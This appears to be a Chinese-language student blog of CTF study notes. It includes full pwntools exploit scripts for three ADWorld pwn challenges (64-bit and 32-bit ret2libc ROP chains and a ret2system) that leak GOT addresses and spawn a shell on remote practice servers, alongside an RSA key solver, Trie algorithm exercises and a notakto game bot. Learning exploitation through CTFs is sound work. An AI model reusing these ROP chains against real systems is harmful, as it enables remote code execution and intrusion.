CTF Pwn ROP Pwn-100

今日学习ROP。并看着WriteUp做出了一道题目。
ROP主要参考资料:(不分先后)
https://www.jianshu.com/p/80d7150dd0a2
https://baike.baidu.com/item/ROP%E7%B3%BB%E7%BB%9F%E6%94%BB%E5%87%BB/16230646?fr=aladdin
https://www.jianshu.com/p/1d7f0c56a323
https://www.cnblogs.com/ichunqiu/p/9288935.html
题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4888&page=1
Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

ROP_PopRdi = 0x400763
ADDR_GOT_read = 0x601028
ADDR_PLT_puts = 0x400500
ADDR_SYM_main = 0x4006b8

p = remote("111.198.29.45",30265)
payload1 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main) + b'0'*(0xc8-0x48-32)
p.send(payload1)
p.recvuntil("bye~\n")


GOT_read = p.recvuntil("\n").split()[0]
for i in range(len(GOT_read),8):
    GOT_read += b'\x00'
GOT_read = u64(GOT_read)

libc = LibcSearcher("read",GOT_read)
ADDR_LibC_base = GOT_read - libc.dump("read")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
payload2 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system) + b'0'*(0xc8-0x48-24)
p.send(payload2)
p.recvuntil("bye~\n")

p.interactive()

CTF Crypto RSA

已知质数p,q,公钥(指数)e,求私钥d。
利用欧拉定理解私钥d,利用扩展欧几里得求逆元。
python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def CPPDiv(a,b):
    return int(a/b)

def CPPMod(a,b):
    quotient = CPPDiv(a,b)
    return a-b*quotient

def ExGCD(a,b,x,y): # Return GCD,x,y
    if b==0: return a, 1, 0
    d, y, x = ExGCD(b, CPPMod(a,b), y ,x)
    y -= CPPDiv(a,b)*x
    return d, x, y

def ExGCD_Cal(a,b):
    return ExGCD(abs(a),abs(b),0,0)[1:]

def QuickPow(a,b,MOD):
    if b==0: return 1
    result = QuickPow(a,b//2,MOD) % MOD
    result *= result
    if b&1==1: result *= a
    result %= MOD
    return result

def solveRSAd(n,phi,e):
    u, v = ExGCD_Cal(e, phi)
    if v>0:
        u += phi
        v = e-v
    return u

def Main():
    p = int(input("Prime p:"))
    q = int(input("Prime q:"))
    phi = (p-1)*(q-1)
    n = p * q
    print("Mod N: %d" % n)
    e = int(input("Public Key e:"))
    d = solveRSAd(n, phi, e)
    print("Private Key d: %s" % d)

if __name__ == '__main__':
    Main()

已知质数p,q,公钥(指数)e,和密文c,解出私钥d和明文m。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def CPPDiv(a,b):
    return int(a/b)

def CPPMod(a,b):
    quotient = CPPDiv(a,b)
    return a-b*quotient

def ExGCD(a,b,x,y): # Return GCD,x,y
    if b==0: return a, 1, 0
    d, y, x = ExGCD(b, CPPMod(a,b), y ,x)
    y -= CPPDiv(a,b)*x
    return d, x, y

def ExGCD_Cal(a,b):
    return ExGCD(abs(a),abs(b),0,0)[1:]

def QuickPow(a,b,MOD):
    if b==0: return 1
    result = QuickPow(a,b//2,MOD) % MOD
    result *= result
    if b&1==1: result *= a
    result %= MOD
    return result

def solveRSAd(n,phi,e):
    u, v = ExGCD_Cal(e, phi)
    if v>0:
        u += phi
        v = e-v
    return u

def Main():
    p = int(input("Prime p:"))
    q = int(input("Prime q:"))
    phi = (p-1)*(q-1)
    n = p * q
    print("Mod N: %d" % n)
    e = int(input("Public Key e:"))
    d = solveRSAd(n, phi, e)
    print("Private Key d: %s" % d)
    c = int(input("Cipher c:"))
    m = pow(c,d,n)
    print("Plain m: %s" % str(hex(m)))
   

if __name__ == '__main__':
    Main()

参考链接:

数论代码总结

洛谷 同余方程


https://www.freebuf.com/sectool/163781.html
还有一本数论概论:)

洛谷 P2580 于是他错误的点名开始了

Trie树练手题,然而空间不够用最后一个点MLE,90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<iostream>
#include<algorithm>
#include<string>
using namespace std;
const int MaxN = 5000000;
int trie[MaxN][26];
int cnts[MaxN];
int tot;
int trieInsert(string s) {
    int node = 0;
    for (int i = 0; i < s.size(); i++) {
        if (!trie[node][s[i] - 'a'])node = trie[node][s[i] - 'a'] = ++tot;
        else node = trie[node][s[i] - 'a'];
    }
    return node;
}
int main() {
    int n,m;
    string s;
    cin >> n;
    while (n--) {
        cin >> s;
        int node=trieInsert(s);
        cnts[node]=1;
    }
    cin >> m;
    while (m--) {
        cin >> s;
        int node = trieInsert(s);
        if (cnts[node] == 1){
            cout << "OK" << endl;
            cnts[node]=2;
        }
        else if (cnts[node] == 0)cout << "WRONG" << endl;
        else if (cnts[node] == 2)cout << "REPEAT" << endl;
    }
}

洛谷 P1481 魔族密码

今学习Trie树:https://blog.csdn.net/weixin_43792276/article/details/98977397

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<iostream>
#include<algorithm>
#include<string>
using namespace std;
const int MaxN = 5000;
int trie[MaxN][26];
int cnts[MaxN];
int tot;
void trieInsert(string s) {
    int node = 0;
    for (int i = 0; i < s.size(); i++) {
        if (!trie[node][s[i] - 'a'])node = trie[node][s[i] - 'a'] = ++tot;
        else node = trie[node][s[i] - 'a'];
    }
    cnts[node]++;
}
void trieAccumulate(int node) {
    for (int i = 0; i < 26; i++) {
        if (trie[node][i]) {
            cnts[trie[node][i]] += cnts[node];
            trieAccumulate(trie[node][i]);
        }
    }
}
int main() {
    int n;
    string s;
    cin >> n;
    while (n--) {
        cin >> s;
        trieInsert(s);
    }
    trieAccumulate(0);
    int result = 0;
    for (int i = 0; i <= tot; i++)result = max(result, cnts[i]);
    cout << result;
}

BJD CTF Programming notakto_1

不知名CTF比赛的不知名题目,类井字棋,要写程序判断。
写了两个程序:如下:
C++有漏洞,够用就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<iostream>
#include<algorithm>
using namespace std;
int process[10] = { 4 };
bool visited[10];
inline int cal(int x, int y) {
    return x * 3 + y;
}
bool& vis(int x, int y) {
    return visited[cal(x, y)];
}
bool check(int x, int y) {
    bool flag = false;
    flag |= vis(0, y) & vis(1, y) & vis(2, y);
    flag |= vis(x, 0) & vis(x, 1) & vis(x, 2);
    if (x == y)flag |= vis(0, 0) & vis(1, 1) & vis(2, 2);
    if (x + y == 2)flag |= vis(0, 2) & vis(1, 1) & vis(2, 0);
    return flag;
}
void print(int n) {
    for (int i = 0; i <= n; i++) {
        cout << process[i];
    }
    cout << endl;
}
void dfs(int step) {
    bool flag = true;
    for (int i = 0; i < 9; i++) {
        if (visited[i])continue;
        visited[i] = true;
        process[step] = i;
        if (check(i / 3, i % 3) == 0) {
            dfs(step + 1);
            flag = false;
        }
        visited[i] = false;
    }
    if (flag&&step%2==1)print(step);
}
int main() {
    visited[4] = true;
    dfs(1);
}

python连带着往外发socket麻烦得很:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
sock = remote("222.186.56.247",8122)
wordList = []
currentWord = ""

def findNewWord():
    global currentWord,wordList
    for elem in wordList:
        if elem[0:len(currentWord)]==currentWord:
            return elem
    raise Exception("Error:Word Not found!")

def loadDic():
    global wordList
    with open("situation.txt","r") as f:
        wordList = f.readlines()
   
def getIntfromSock(sock):
    sock.recvuntil("My move: ")
    x = sock.recv(1)
    if x==b' ': x = sock.recv(1)
    return int(x)

def payGame(i):
    global currentWord,wordList,sock
    print("the ith:",i)
    currentWord=""
    while len(currentWord) < 5:
        backupWord = findNewWord()
        print("Send:",backupWord[len(currentWord)])
        sock.sendline(str(backupWord[len(currentWord)]))
        currentWord += backupWord[len(currentWord)]
        if len(currentWord)==5:
            print("break")
            break
        currentWord += str(getIntfromSock(sock))
        print("currentWord",currentWord)
    sock.recvuntil("win!")

loadDic()
for i in range(150):
    payGame(i)
sock.interactive()

代码链接:notakto

ADWorld Pwn level3

完全看着WriteUp写的,里面说了个PLT和GOT表,这个概念之前接触过一点,但没怎么用过。模仿人家代码的时候也没怎么细想。先敲一遍将来就理解深刻了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = remote("111.198.29.45",33161)
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
p.recvuntil(":\n")
payload=b'0'*0x88+p32(0)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_got_addr=u32(p.recv())
print(hex(write_got_addr))
libc_base=write_got_addr-libc.sym['write']
print(hex(libc_base))
system_addr=libc_base+libc.sym['system']
print(hex(system_addr))
binshaddr=libc_base+0x15902B
print(hex(binshaddr))
payload2=b'0'*0x88+p32(0)+p32(system_addr)+p32(0)+p32(binshaddr)
p.recvuntil(":\n")
p.sendline(payload2)
p.interactive()

ADWorld Pwn cgpwn2

好像会点了^v^

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("111.198.29.45",55602)
p.sendlineafter("your name","/bin/sh")
strAddr=0x0804A080
sysAddr=0x08048420
payload=b'0'*(0x26+0x4)+p32(sysAddr)+p32(0)+p32(strAddr)
print(len(payload))
p.sendlineafter("here:",payload)
p.interactive()